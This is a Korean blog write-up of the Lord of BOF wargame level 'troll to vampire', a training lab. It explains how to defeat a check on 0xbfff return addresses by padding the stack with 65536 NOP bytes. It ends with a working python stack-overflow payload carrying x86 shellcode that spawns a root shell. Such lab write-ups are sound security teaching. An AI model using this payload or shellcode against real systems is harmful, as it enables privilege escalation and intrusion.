LOB_9.troll->vampire
해킹/LOB 2016. 1. 22. 20:32
거추장스러웠던 조건들이 많이 사라지고 \xff를 체크하는 새로운 조건이 생겼다.
점프하는 주소가 \xbfff~~~~이면 안된다는 뜻이다.
32비트의 메모리 지도상에서 0xc0000000 ~ 0xffffffff까지 는 커널의 영역이고 그 아래 0xbfffffff부터 아래로 스텍이 자라나므로 어지간히 스텍을 많이 사용하지 않으면 스텍의 주소는 0xbfff~~~~일 수밖에 없다. 그러므로 스텍을 어지간히 많이 사용하도록 만들어주면 된다.
우선 0xbfff~~~~ 부분을 사용하던 프로그램이 최소 0xbffe~~~~까지는 내려와야 하는데 그러려면 최소 0x00010000=65536바이트정도 스텍을 사용하도록 해야한다. argv[2]에 아무 문자열이나 집어넣고 스텍을 살펴보자.
워낙 많이넣어서 0xbffe~~~~근처 아무데나 잡아도 다 b(\x62)가 나온다.
\x62들 대신 \x90을 넣어주고 뒤에 쉘코드를 붙인 뒤 대략 저기보이는 0xbffeff40쯤에 리턴주소를 떨궈주면 성공할 것 같다.
`python -c 'print "a"*44+"\x40\xff\xfe\xbf"+" "+"\x90"*65536+"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
메모리 구조만 알면 간단한 문제였다.
끝-
'해킹 > LOB' 카테고리의 다른 글
LOB_11.skeleton->golem (0) | 2016.01.27 |
---|---|
LOB_10.vampire->skeleton (0) | 2016.01.22 |
LOB_8.orge->troll (0) | 2016.01.22 |
LOB_7.darkelf->orge (0) | 2016.01.21 |
LOB_6.wolfman->darkelf (0) | 2016.01.21 |